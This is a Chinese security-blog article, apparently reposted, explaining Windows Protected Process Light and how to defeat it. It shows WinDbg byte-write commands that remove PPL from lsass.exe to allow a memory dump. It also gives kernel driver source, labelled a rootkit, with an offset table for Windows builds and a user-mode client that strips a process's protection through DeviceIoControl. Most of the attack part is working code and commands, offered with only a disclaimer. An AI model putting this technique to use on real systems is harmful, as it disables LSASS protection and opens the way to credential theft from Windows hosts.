从内核层看受保护进程:PPL如何成为杀软的“免死金牌”?

admin 2026-03-05 20:55:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详解WindowsPPL机制原理,阐述其在内核结构中的存储方式。通过WinDbg演示进程保护状态的修改,并提供完整的内核驱动开发方案。该方案编写自定义Rootkit成功绕过PPL保护,移除lsass.exe进程限制,实现内存操作。此技术揭示了PPL在内核攻击下的脆弱性,对红队渗透与内核安全研究具有高实战价值。 综合评分: 88 文章分类: 红队,内网渗透,二进制安全,免杀


cover_image

从内核层看受保护进程:PPL 如何成为杀软的“免死金牌”?

原创

kernel kernel

Relay学安全

2026年3月3日 22:12 陕西

PPL简介

随着安全威胁的演变,微软需要一种更强大的机制来保护系统进程免受篡改。微软从Windows8.1Windows Server 2012 R2开始引入了受保护的轻量级进程,也就是Protected Process Loght,简称PPL

PPL通过将访问权限限制为仅受信任的组件来保护重要的进程。与常规的进程不同,PPL的进程是受到保护的,可以防止被调试代码注入或内存读写。我们可以理解为PPL是为系统中重要的进程套了一层壳子。

因此微软引入了 “保护级别” 的概念,这意味着某些进程可以比其他进程获得更高程度的保护。

进程的保护级别以个字节的形式存储在内核层中。该值位于每一个进程的EPROCESS结构体中。具体是在Protection字段,该字段占用1个字节。

Protection字段被拆分为三个部分,分别为Type(类型),Audit(审计),Signer(签名者)。Type类型占3位,该类型定义了进程是受保护进程还是受保护的轻量进程无保护进程

Audit审计位通常被保留并始终为。它占一位,用于指示是否对违反保护机制的行为启用审计。

Signer字段占用4位,它表示签名者。这四位标识了谁对该进程进行了签名,比如是Windows``Lsa``反恶意软件等等。

现在我们可以发现Windows中用于PPLPP机制下保护进程的不同保护级别。Audit位固定为0,Signer表示负责该进程实体的信任级别,例如WinSystem``WinTcb``Windows``LSA等等。并由一个数字ID来标识。在这种情况下,Type定义了保护的强度。其中 Protected (Type 2) 提供比 Protected Light (Type 1) 更强的隔离性。

例如如上图中的PS_PROTECTED_SYSTEM的十六进制保护值为: 0x72,该值是通过WinSystem签名者和保护类型Protected(2)的值组合来的。

比如Winsystem的数字ID7,转换二进制为0111 而Protected的ID为2,转换为二进制为: 0010。所以组合就是01110010。转换为十六进制就是0x72

还有我们熟知的PS_PROTECTED_LSA_LIGHT,它的十六进制保护值为: 0x41,它是由LSA签名者和Protected Light(1)保护类型组合得到的。

PPL实例

现在让我们来使用Windbg来操作进程的保护级别,这里以一个Notepad.exe记事本进程为例。我们将使用Windbg来查看该进程的保护级别。

首先通过如下命令获取到notepad.exe记事本进程的地址。

!process 0 0 notepad.exe

下一步则是查看notepad.exe进程的Protection字段的值。

dt&nbsp;nt!_EPROCESS <Address> Protection

从如上图我们可以得知Notepad.exe进程没有受到任何保护,其Protection的字段为空,标识它并不是一个受保护的进程。这意味着它可能被相同或更高完整性级别的进程访问或修改。

现在我们将通过Windbg来将Notepad.exe进程的保护级别十六进制值修改为0x410x41代表了 “LSA进程” 级别的保护。

我们将使用eb命令进行修改。eb命令用于写入一个字节的值。

eb&nbsp;<Process Address+0x87a>&nbsp;0x41

可以看到我们成功的将notepad.exe进程的保护级别更改为了PsProtectedSignerLsa-Loght

那么既然可以为普通进程进行保护操作,那么也可以移除其他进程上的受保护级别。比如这里最典型的就是lsass.exe进程了。

该进程是受保护的,且受保护的级别为PsProtectedSignerLsa-Light

从windbg中查看。

如果我们直接在进程管理器这里创建转储文件,会发生拒绝访问的错误。

那么我们还是一样通过eb指令来将其保护级别移除掉。

eb&nbsp;ffffcd068219c080+0x87a&nbsp;0x0

移除之后再次进行转储,发现可以了。

编写自定义Rootkit

现在我们来通过代码的方式来绕过PPL。首先来看一下驱动层的代码。首先是DriverEntry的代码,在该函数中我们设置根据不同的IRP类型所调用的派遣函数。以及创建设备和设备链接用于用户层和驱动设备进行通信。

//主函数 驱动加载时会执行该函数extern&nbsp;"C"&nbsp;NTSTATUS&nbsp;DriverEntry(PDRIVER_OBJECT&nbsp;DriverObject,&nbsp;PUNICODE_STRING&nbsp;RegistryPath) {//抑制报错UNREFERENCED_PARAMETER(RegistryPath);
//根据IRP类型设置派遣函数DriverObject->MajorFunction[IRP_MJ_CREATE]&nbsp;=&nbsp;PPLCreateClose;DriverObject->MajorFunction[IRP_MJ_CLOSE]&nbsp;=&nbsp;PPLCreateClose;DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]&nbsp;=&nbsp;PPLDeviceControl;
//设置Unload例程DriverObject->DriverUnload&nbsp;=&nbsp;PPLUnload;//创建设备UNICODE_STRING&nbsp;devName&nbsp;=&nbsp;RTL_CONSTANT_STRING(L"\\Device\\PPLManager");PDEVICE_OBJECT&nbsp;DeviceObject;IoCreateDevice(DriverObject,0,&devName,&nbsp;FILE_DEVICE_UNKNOWN,&nbsp;FILE_DEVICE_SECURE_OPEN,FALSE,&DeviceObject);
//设置缓冲区DeviceObject->Flags&nbsp;|=&nbsp;DO_BUFFERED_IO;
//创建设备链接UNICODE_STRING&nbsp;SymLink&nbsp;=&nbsp;RTL_CONSTANT_STRING(L"\\??\\PPLManager");IoCreateSymbolicLink(&SymLink,&nbsp;&devName);
//获取到Protection偏移 不同的Windows版本中的EPROCESS结构中的偏移是不一样的if&nbsp;(GetProtectionOffset()) {DbgPrintEx(0,&nbsp;0,&nbsp;"[%s] Unsupported windows build !\n",&nbsp;DRIVER_NAME);PPLUnload(DriverObject);return&nbsp;(STATUS_UNSUCCESSFUL);    }return&nbsp;STATUS_SUCCESS;}

其中调用GetProtectionOffset函数来根据不同的Windows版本来获取Protection成员偏移量。因为不同版本的WindowsEPROCESS结构是不同的。

该函数主要利用RTL_OSVERSIONINFOW结构体,该结构体中的dwBuildNumber成员表示操作系统的内部版本号。根据操作系统的内部版本号来返回不同的偏移量。返回的偏移量我们将其存储到ProtectionOffset变量中。

这些偏移量都是从vergiliusproject.com中获取到的。在这里选择你的Windows版本,比如这里我选择Windows 10

进入后搜索EPROCESS结构体。

如上图中的0x87a对应的Windows10版本。

NTSTATUS&nbsp;GetProtectionOffset()&nbsp;{    RTL_OSVERSIONINFOW pversion;//获取系统版本信息  RtlGetVersion(&pversion);//根据操作系统内部版本来返回Protection的偏移if&nbsp;(pversion.dwBuildNumber ==&nbsp;9600) {        ProtectionOffset =&nbsp;0x67a;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber ==&nbsp;10240) {     ProtectionOffset =&nbsp;0x6aa;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber ==&nbsp;10586) {     ProtectionOffset =&nbsp;0x6b2;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber ==&nbsp;14393) {     ProtectionOffset =&nbsp;0x6c2;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber ==&nbsp;15063) {     ProtectionOffset =&nbsp;0x6ca;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber ==&nbsp;16299) {     ProtectionOffset =&nbsp;0x6ca;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber ==&nbsp;17134) {     ProtectionOffset =&nbsp;0x6ca;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber ==&nbsp;17763) {     ProtectionOffset =&nbsp;0x6ca;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber ==&nbsp;18362) {     ProtectionOffset =&nbsp;0x6fa;  }else&nbsp;if&nbsp;(pversion.dwBuildNumber >=&nbsp;19041) {     ProtectionOffset =&nbsp;0x87a;  }else&nbsp;{        ProtectionOffset =&nbsp;0;  }if&nbsp;(ProtectionOffset)return&nbsp;STATUS_SUCCESS;return&nbsp;STATUS_UNSUCCESSFUL;}

下面我们来看看当IRP类型为IRP_MJ_DEVICE_CONTROL时所调用的PPLDeviceControl派遣函数。

首先该函数获取到从用户模式进程传递到输入缓冲区中的数据,然后根据IOCTL控制码来执行不同的逻辑。

这里将通过调用PsLookupProcessByProcessId函数,该函数接收进程的Pid,通过该函数获取到进程的EPROCESS结构的地址,通过EPROCESS结构体的地址加上上面获取到的Protecion偏移量来得到Protecion成员的地址。然后将从用户层传递过来的ProtectionLevel的值赋值给它从而修改进程的保护等级。

下一步则是启用调试权限。

然后打开驱动设备句柄,构造结构体,发送I/O请求即可。

&nbsp;//打开驱动设备句柄&nbsp;HANDLE hDevice = CreateFileA("\\\\.\\PPLManager", GENERIC_WRITE, FILE_SHARE_WRITE,&nbsp;NULL, OPEN_EXISTING,&nbsp;0,NULL);&nbsp;if(hDevice == INVALID_HANDLE_VALUE){&nbsp; &nbsp; &nbsp;printf("error device!!!");&nbsp; &nbsp; &nbsp;return&nbsp;-1;&nbsp;}
&nbsp;//发送I/O设备请求&nbsp;ProtectionInfo protection = {&nbsp;0&nbsp;};&nbsp;protection.Pid =&nbsp;848;&nbsp;protection.ProtectionLevel =&nbsp;0;&nbsp;DWORD BytesReturned =&nbsp;NULL;&nbsp;DeviceIoControl(hDevice,&nbsp;0x8098C, &protection,&nbsp;sizeof(protection), &protection,&nbsp;sizeof(protection), &BytesReturned,&nbsp;NULL);

现在我们来看看效果,首先我们先去加载我们的驱动文件。

紧接着下一步则是运行我们的程序,在没有运行之前lsass.exe进程是受保护的。

当我们运行过后,该保护级别将被移除掉。

完整代码,公众号回复: 20260303


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Relay学安全 kernel kernel《从内核层看受保护进程:PPL 如何成为杀软的“免死金牌”?》

WriteUp|RCTF2025-only 网络安全文章

WriteUp|RCTF2025-only

文章总结: 本文是RCTF2025only题目的解题报告。主要难点在于绕过浮点数校验与受限的shellcode写入空间。作者通过构造特定浮点数通过检查,并利用p
评论:0   参与:  0